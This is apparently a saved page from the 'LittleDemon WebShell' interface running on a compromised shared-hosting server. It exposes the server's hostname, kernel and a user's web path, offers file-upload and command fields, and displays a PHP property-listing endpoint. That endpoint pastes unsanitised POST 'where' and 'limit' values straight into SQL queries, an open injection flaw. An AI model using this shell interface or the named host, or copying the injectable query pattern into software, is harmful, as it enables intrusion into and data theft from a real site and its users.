LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/public_html/php/
File Upload :
Command :
Current File : /home/u901718425/public_html/php/property.php

<?php
include("../panel/globale.php");
date_default_timezone_set("Asia/Calcutta");


if (isset($_POST)) {
    $da = [];
    $res= [];
    $required = ['page'];
    foreach ($required as $key) {
      if(! isset($_POST[$key])){
       $da[$key] = (isset($_POST[$key])? $_POST[$key]: 'Filde Required');
      }
    }
  if(!empty($da)){
    $res[0] = 'error';
    $res[1] = $da;
  }else{
      $where = (isset($_POST['where']) && !empty($_POST['where'])? " WHERE ".implode(' AND ', $_POST['where']) : '');
      $limit = (isset($_POST['limit']) && !empty($_POST['limit'])?  $_POST['limit'] : '');
      $sql = "SELECT * FROM new_property $where $limit";
      $res = $db->query($sql); 
      if($res[0] == 'success'){
          foreach($res[1] as $k => $val){
              $plan = $db->query('SELECT * FROM plan WHERE pid ='.$val['id']);
              $image = $db->query('SELECT * FROM image WHERE f_id ='.$val['id']);
               $res[1][$k]['plan'] = ($plan[0] == 'success' && !empty($plan[1]) ? $plan[1] : []);
               $res[1][$k]['image'] = ($image[0] == 'success' && !empty($image[1]) ? $image[1] : []);
          }
      }
    if($res[0] == 'error'){
        $error['id'] = ($db->max("error_log") == NULL? 1 : (int)$db->max("error_log") + 1);
        $error['page'] = $_POST['page'];
        $error['error'] = $db->sanitize($res[1]);
        $error['query'] = $db->sanitize($res[2]);
        $error['status'] = "not solved";
        $db->insert("error_log",$error);
    }
  
}
echo json_encode($res);

}
?>

LittleDemon - FACEBOOK
[ KELUAR ]